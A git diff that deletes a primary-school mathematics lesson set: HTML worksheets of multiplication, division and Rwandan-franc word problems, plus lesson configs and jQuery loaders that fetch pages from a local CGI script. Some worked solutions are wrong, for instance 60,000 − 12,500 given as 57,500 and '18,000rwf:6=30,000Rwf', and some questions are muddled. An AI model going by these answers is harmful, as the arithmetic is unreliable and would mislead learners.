-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m09/map411m09a04/lesson.js b/Save_Mathematics/P4/map411m09/map411m09a04/lesson.js
deleted file mode 100644
index de5c2c1..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m09/map411m09a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m09/map411m09a04/source.txt b/Save_Mathematics/P4/map411m09/map411m09a04/source.txt
deleted file mode 100644
index e9d19a7..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a04/source.txt
+++ /dev/null
@@ -1,56 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  1)Multiply quickly :
- </span>
- <br />
- <br />
- a) 13 x 100 = ?
- <br />
- b) 19 x 10 = ?
- <br />
- c) 23 x 100 = ?
- <br />
- d) 99 x 100 = ?
- <br />
- e) 28 x1000 = ?
- <br />
- f) 58 x 10 = ?
- <br />
- g) 3129 x1000 = ?
- <br />
- h) 3830 x 10 = ?
- <br />
- i) 4091 x 10 = ?
- <br />
- j) 8 x 10000 = ?
- <br />
- <br />
- k) Aloys'uncle needs 38120 bricks to build his house . If each bricks costs 10 f .How much money does he need ?
- <br />
- <br />
- Using your knowlegde ,find the quotient .
- <br />
- <br />
- 1) 555 : 5
- <br />
- 2) 159 : 3
- <br />
- 3) 181 : 9
- <br />
- 4) 208 : 5
- <br />
- 5) 110 : 11
- <br />
- 6) 999 : 3
- <br />
- 7) 451 : 9
- <br />
- 8) 388 : 2
- <br />
- 9) 1200 : 6
- <br />
- 10) 458 : 4
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a05/a.txt b/Save_Mathematics/P4/map411m09/map411m09a05/a.txt
deleted file mode 100644
index 60e3e81..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a05/a.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- Mutiply by 10 , 100 , 1000 .
- <br />
- <br />
- 1) 5 x 10 = ?
- <br />
- 2)12 x 100 = ?
- <br />
- 3) 8 x 10 = ?
- <br />
- 4) 18 x 100 = ?
- <br />
- 5) 20 x 10 = ?
- <br />
- 6) 121 x 100 = ?
- <br />
- 7) 8 x 1000 = ?
- <br />
- 8) 18 x 1000 = ?
- <br />
- 9) 229 x 100 = ?
- <br />
- 10) 89 x 1000 = ?
- <br />
- 11) Pascal wants to buy 10 cocks . How much money does Pascal need if each cock costs 9500 rwf ?
- <br />
- <br />
- 12)Melissa ,s cow gives 25 litres of milk every day. How much milk does it give in 10 days ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a05/description.py b/Save_Mathematics/P4/map411m09/map411m09a05/description.py
deleted file mode 100644
index 3d6f3cb..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m09a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m09/map411m09a05/lesson.js b/Save_Mathematics/P4/map411m09/map411m09a05/lesson.js
deleted file mode 100644
index 06e12bb..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m09/map411m09a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m09/map411m09a05/source.txt b/Save_Mathematics/P4/map411m09/map411m09a05/source.txt
deleted file mode 100644
index 60e3e81..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a05/source.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- Mutiply by 10 , 100 , 1000 .
- <br />
- <br />
- 1) 5 x 10 = ?
- <br />
- 2)12 x 100 = ?
- <br />
- 3) 8 x 10 = ?
- <br />
- 4) 18 x 100 = ?
- <br />
- 5) 20 x 10 = ?
- <br />
- 6) 121 x 100 = ?
- <br />
- 7) 8 x 1000 = ?
- <br />
- 8) 18 x 1000 = ?
- <br />
- 9) 229 x 100 = ?
- <br />
- 10) 89 x 1000 = ?
- <br />
- 11) Pascal wants to buy 10 cocks . How much money does Pascal need if each cock costs 9500 rwf ?
- <br />
- <br />
- 12)Melissa ,s cow gives 25 litres of milk every day. How much milk does it give in 10 days ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a06/a.txt b/Save_Mathematics/P4/map411m09/map411m09a06/a.txt
deleted file mode 100644
index 1c5002c..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a06/a.txt
+++ /dev/null
@@ -1,109 +0,0 @@
-<p>
- 1) Complete this table so that the sum of numbers of each row be 12,000
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="915" height="234">
- <tbody>
-  <tr>
-   <td style="vertical-align: top;" width="25%">
-    x 10
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;" width="25%">
-    x 100
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;" width="33%">
-    x 1,000
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 2) A bus carries 82 passengers. How many people will 10 such
- <br />
- buses carry?
- <br />
- <br />
- 3) David bought 80kg of sugar at 1.000Rw each kg .How much
- <br />
- did he pay ?
- <br />
- <br />
- 4) A trader sold 17kg of rice . How much money did he get
- <br />
- if he sold each kilogram at 650 rwf?
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
- 5)A gardener works 63 hours for 3 days .How many hours
- <br />
- does he work a day ?
- <br />
- <br />
- 6) Eric has 230 notebooks to share among his 10 children .How many
- <br />
- notebooks will each child get ?
- <br />
- <br />
- 7) Eliphaz planted 4263 coffee trees in each row and he has 21 rows
- <br />
- of coffee . How many coffee trees did he plant ?
- <br />
- <br />
- 8) A school spends 22000Rwf for electricity consumption in ten months .How much money does it spend in one month ?
- <br />
- <br />
- 9) David earns 78000 rwf in 5 months . How muchmoney does he earn each month ?
- <br />
- <br />
- <br />
- 10)
- <span style="text-decoration: underline;">
-  calculate
- </span>
- <br />
- <br />
- 1) 266 : 34
- <br />
- 2) 420 : 420
- <br />
- 3) 88 : 4
- <br />
- 4) 240 : 2
- <br />
- 5) 675 : 5
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a06/description.py b/Save_Mathematics/P4/map411m09/map411m09a06/description.py
deleted file mode 100644
index 32eb4c7..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m09a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m09/map411m09a06/lesson.js b/Save_Mathematics/P4/map411m09/map411m09a06/lesson.js
deleted file mode 100644
index ce6f723..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m09/map411m09a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m09/map411m09a06/source.txt b/Save_Mathematics/P4/map411m09/map411m09a06/source.txt
deleted file mode 100644
index 1c5002c..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a06/source.txt
+++ /dev/null
@@ -1,109 +0,0 @@
-<p>
- 1) Complete this table so that the sum of numbers of each row be 12,000
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="915" height="234">
- <tbody>
-  <tr>
-   <td style="vertical-align: top;" width="25%">
-    x 10
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;" width="25%">
-    x 100
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;" width="33%">
-    x 1,000
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 2) A bus carries 82 passengers. How many people will 10 such
- <br />
- buses carry?
- <br />
- <br />
- 3) David bought 80kg of sugar at 1.000Rw each kg .How much
- <br />
- did he pay ?
- <br />
- <br />
- 4) A trader sold 17kg of rice . How much money did he get
- <br />
- if he sold each kilogram at 650 rwf?
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
- 5)A gardener works 63 hours for 3 days .How many hours
- <br />
- does he work a day ?
- <br />
- <br />
- 6) Eric has 230 notebooks to share among his 10 children .How many
- <br />
- notebooks will each child get ?
- <br />
- <br />
- 7) Eliphaz planted 4263 coffee trees in each row and he has 21 rows
- <br />
- of coffee . How many coffee trees did he plant ?
- <br />
- <br />
- 8) A school spends 22000Rwf for electricity consumption in ten months .How much money does it spend in one month ?
- <br />
- <br />
- 9) David earns 78000 rwf in 5 months . How muchmoney does he earn each month ?
- <br />
- <br />
- <br />
- 10)
- <span style="text-decoration: underline;">
-  calculate
- </span>
- <br />
- <br />
- 1) 266 : 34
- <br />
- 2) 420 : 420
- <br />
- 3) 88 : 4
- <br />
- 4) 240 : 2
- <br />
- 5) 675 : 5
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/activities.js b/Save_Mathematics/P4/map411m10/activities.js
deleted file mode 100755
index a123c7d..0000000
--- a/Save_Mathematics/P4/map411m10/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m10a01','blue'],
-['2','2','map4','basic','map411m10a02','blue'],
-['3','3','map4','basic','map411m10a03','blue'],
-['4','4','map4','basic','map411m10a04','blue'],
-['5','5','map4','basic','map411m10a05','blue'],
-['6','6','map4','basic','map411m10a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m10/map411m10a01/a.txt b/Save_Mathematics/P4/map411m10/map411m10a01/a.txt
deleted file mode 100644
index 53821d3..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a01/a.txt
+++ /dev/null
@@ -1,48 +0,0 @@
-<p>
- Prerequisite: Addition, Substraction , Multiplication and Division.
- <br />
- <br />
- <span style="font-weight: bold;">
-  1) Work outthe following :
- </span>
- <br />
- <br />
- 1) 64776
- <br />
- + 46278
- <br />
- <br />
- 2) 6536
- <br />
- +..9263
- <br />
- <br />
- 3) 8763
- <br />
- -
- <span style="color: #ffffff;">
-  .....
- </span>
- 635
- <br />
- <br />
- 4) 27364
- <br />
- -
- <span style="color: #ffffff;">
-  ...
- </span>
- 11232
- <br />
- <br />
- 5) 635 x2=
- <br />
- <br />
- 6) 354x43=
- <br />
- <br />
- 7) 40000:4=
- <br />
- <br />
- 8) 2900:5=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a01/description.py b/Save_Mathematics/P4/map411m10/map411m10a01/description.py
deleted file mode 100644
index d7f6a38..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m10a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m10/map411m10a01/lesson.js b/Save_Mathematics/P4/map411m10/map411m10a01/lesson.js
deleted file mode 100644
index 14c4f69..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m10/map411m10a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m10/map411m10a01/source.txt b/Save_Mathematics/P4/map411m10/map411m10a01/source.txt
deleted file mode 100644
index 53821d3..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a01/source.txt
+++ /dev/null
@@ -1,48 +0,0 @@
-<p>
- Prerequisite: Addition, Substraction , Multiplication and Division.
- <br />
- <br />
- <span style="font-weight: bold;">
-  1) Work outthe following :
- </span>
- <br />
- <br />
- 1) 64776
- <br />
- + 46278
- <br />
- <br />
- 2) 6536
- <br />
- +..9263
- <br />
- <br />
- 3) 8763
- <br />
- -
- <span style="color: #ffffff;">
-  .....
- </span>
- 635
- <br />
- <br />
- 4) 27364
- <br />
- -
- <span style="color: #ffffff;">
-  ...
- </span>
- 11232
- <br />
- <br />
- 5) 635 x2=
- <br />
- <br />
- 6) 354x43=
- <br />
- <br />
- 7) 40000:4=
- <br />
- <br />
- 8) 2900:5=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a02/a.txt b/Save_Mathematics/P4/map411m10/map411m10a02/a.txt
deleted file mode 100644
index d2f9270..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a02/a.txt
+++ /dev/null
@@ -1,190 +0,0 @@
-<p>
- 1) Uwineza bought a box of INYANGE water at 7,875 Rwf and a box of juice at 65, 000Rwf. How much money did he spend?
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    <ul>
-     <li>
-      The price of water =7,875 Rwf.
-     </li>
-    </ul>
-    <ul>
-     <li>
-      Theprice of juice=65, 000Rwf.
-     </li>
-    </ul>
-   </td>
-   <td width="33%" valign="top">
-    The total price of water and juice=?
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The total price=7,875rwf+ rwf 65,000= 72,875 rwf
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 2) Jenifer has got 60, 000Rwf for salary. If she spent 12, 500 for food , How much money left in his pocket?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
-  <br />
-  <br />
- </span>
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    <ul>
-     <li>
-      The salary= 60,000Rf.
-     </li>
-     <li>
-      Expanditure= 12,500Rwf.
-     </li>
-    </ul>
-   </td>
-   <td width="33%" valign="top">
-    The amount left
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The left= 60,000 rwf- rwf12,500=57,500Rwf.
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 3) Every student of a university spend 18, 000Rwf for Resaurant per month.
- <br />
- How much money does he/she need to pay for the restoration in 5 months?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
-  <br />
-  <br />
- </span>
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    The cost of the restoration per month =18 ,000Rwf.
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The cost of restoration in 5 months?
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The cost of restoration=
-    <br />
-    18 000rwf x5 = 90,000rwf
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 4) There are 180,000Rwf in a bank for equaly sharing 6 employees of a cooperative. How much money will each employee get?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
-  <br />
-  <br />
- </span>
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    The salary for 6 employees=180,000Rwf.
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The amount of each eemployee=?
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Each employee will get 18,000rwf:6=30,000Rwf.
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a02/description.py b/Save_Mathematics/P4/map411m10/map411m10a02/description.py
deleted file mode 100644
index 86d2015..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m10a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m10/map411m10a02/lesson.js b/Save_Mathematics/P4/map411m10/map411m10a02/lesson.js
deleted file mode 100644
index 39faba1..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m10/map411m10a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m10/map411m10a02/source.txt b/Save_Mathematics/P4/map411m10/map411m10a02/source.txt
deleted file mode 100644
index d2f9270..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a02/source.txt
+++ /dev/null
@@ -1,190 +0,0 @@
-<p>
- 1) Uwineza bought a box of INYANGE water at 7,875 Rwf and a box of juice at 65, 000Rwf. How much money did he spend?
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    <ul>
-     <li>
-      The price of water =7,875 Rwf.
-     </li>
-    </ul>
-    <ul>
-     <li>
-      Theprice of juice=65, 000Rwf.
-     </li>
-    </ul>
-   </td>
-   <td width="33%" valign="top">
-    The total price of water and juice=?
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The total price=7,875rwf+ rwf 65,000= 72,875 rwf
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 2) Jenifer has got 60, 000Rwf for salary. If she spent 12, 500 for food , How much money left in his pocket?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
-  <br />
-  <br />
- </span>
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    <ul>
-     <li>
-      The salary= 60,000Rf.
-     </li>
-     <li>
-      Expanditure= 12,500Rwf.
-     </li>
-    </ul>
-   </td>
-   <td width="33%" valign="top">
-    The amount left
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The left= 60,000 rwf- rwf12,500=57,500Rwf.
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 3) Every student of a university spend 18, 000Rwf for Resaurant per month.
- <br />
- How much money does he/she need to pay for the restoration in 5 months?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
-  <br />
-  <br />
- </span>
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    The cost of the restoration per month =18 ,000Rwf.
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The cost of restoration in 5 months?
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The cost of restoration=
-    <br />
-    18 000rwf x5 = 90,000rwf
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 4) There are 180,000Rwf in a bank for equaly sharing 6 employees of a cooperative. How much money will each employee get?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
-  <br />
-  <br />
- </span>
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    GIVEN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    UNKNOWN
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    SOLUTION
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    The salary for 6 employees=180,000Rwf.
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    The amount of each eemployee=?
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Each employee will get 18,000rwf:6=30,000Rwf.
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a03/a.txt b/Save_Mathematics/P4/map411m10/map411m10a03/a.txt
deleted file mode 100644
index 7f931a3..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a03/a.txt
+++ /dev/null
@@ -1,32 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Solve following problems:
- </span>
- <br />
- <br />
- 1) A school has 56 pupils . How many students can sit on each desk if there are 14 desks in each classroom?
- <br />
- <br />
- 2) A minibus KBC transporting 33 passengers from NYABUGOGO to KANOMBE Airport. Each passenger pays 200Rwf . How much money will the driver get for one trip from NYABUGOG to KANOMBE ?
- <br />
- <br />
- 3) A farmer collects 12150 eggs every week. He has 30 baskets. How much eggs will he put in each basket?
- <br />
- <br />
- 4) Murisa sold his got at 45 000Rwf and his sheep at 30 000 Rwf.
- <br />
- Find the total of the money he got.
- <br />
- <br />
- <br />
- 5) Umutara enterprise produces 360 litres of milk per day . Find the production in a week .
- <br />
- <br />
- 6) A farmer produced105kg of beans , 150kg of maize , 85kg of soja beans and 65kg of groundnuts . calculate the total production .
- <br />
- <br />
- 7) A tourist is in a trip from RUBAVU to Volcanoes National Park . The distance to cover is 89km if he has already travelled 39km , Find the distance resting .
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a03/description.py b/Save_Mathematics/P4/map411m10/map411m10a03/description.py
deleted file mode 100644
index ecfd87d..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m10a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m10/map411m10a03/lesson.js b/Save_Mathematics/P4/map411m10/map411m10a03/lesson.js
deleted file mode 100644
index a96b8de..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m10/map411m10a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m10/map411m10a03/source.txt b/Save_Mathematics/P4/map411m10/map411m10a03/source.txt
deleted file mode 100644
index 7f931a3..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a03/source.txt
+++ /dev/null
@@ -1,32 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Solve following problems:
- </span>
- <br />
- <br />
- 1) A school has 56 pupils . How many students can sit on each desk if there are 14 desks in each classroom?
- <br />
- <br />
- 2) A minibus KBC transporting 33 passengers from NYABUGOGO to KANOMBE Airport. Each passenger pays 200Rwf . How much money will the driver get for one trip from NYABUGOG to KANOMBE ?
- <br />
- <br />
- 3) A farmer collects 12150 eggs every week. He has 30 baskets. How much eggs will he put in each basket?
- <br />
- <br />
- 4) Murisa sold his got at 45 000Rwf and his sheep at 30 000 Rwf.
- <br />
- Find the total of the money he got.
- <br />
- <br />
- <br />
- 5) Umutara enterprise produces 360 litres of milk per day . Find the production in a week .
- <br />
- <br />
- 6) A farmer produced105kg of beans , 150kg of maize , 85kg of soja beans and 65kg of groundnuts . calculate the total production .
- <br />
- <br />
- 7) A tourist is in a trip from RUBAVU to Volcanoes National Park . The distance to cover is 89km if he has already travelled 39km , Find the distance resting .
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a04/a.txt b/Save_Mathematics/P4/map411m10/map411m10a04/a.txt
deleted file mode 100644
index 0f5f0bc..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a04/a.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-<p>
- Try those mixed problems .
- <br />
- <br />
- 1. Funny , Joseph and Junior respectively are 21 years old , 25 years old and 28 years old . Find the total of their ages .
- <br />
- <br />
- 2) David got 26,500 rwf and Desire had 14,800 rwf . What did David get more than
- <br />
- Desire ?
- <br />
- <br />
- 3) A headteacher wants to reward 50 pupils who succeeded examination . the school got 95,000 sport vests . If each pupil must have 2 sport vests , How many pupils will be rewarded ?
- <br />
- <br />
- 4) Each district must receive 18,000 supanets fromMinisante to distribute pregnant women .If there are 30 districts in the country , Which number of women will be distributed ?
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a04/description.py b/Save_Mathematics/P4/map411m10/map411m10a04/description.py
deleted file mode 100644
index f43ad29..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m10a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m10/map411m10a04/lesson.js b/Save_Mathematics/P4/map411m10/map411m10a04/lesson.js
deleted file mode 100644
index a280527..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m10/map411m10a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m10/map411m10a04/source.txt b/Save_Mathematics/P4/map411m10/map411m10a04/source.txt
deleted file mode 100644
index 0f5f0bc..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a04/source.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-<p>
- Try those mixed problems .
- <br />
- <br />
- 1. Funny , Joseph and Junior respectively are 21 years old , 25 years old and 28 years old . Find the total of their ages .
- <br />
- <br />
- 2) David got 26,500 rwf and Desire had 14,800 rwf . What did David get more than
- <br />
- Desire ?
- <br />
- <br />
- 3) A headteacher wants to reward 50 pupils who succeeded examination . the school got 95,000 sport vests . If each pupil must have 2 sport vests , How many pupils will be rewarded ?
- <br />
- <br />
- 4) Each district must receive 18,000 supanets fromMinisante to distribute pregnant women .If there are 30 districts in the country , Which number of women will be distributed ?
- <br />
- <br />
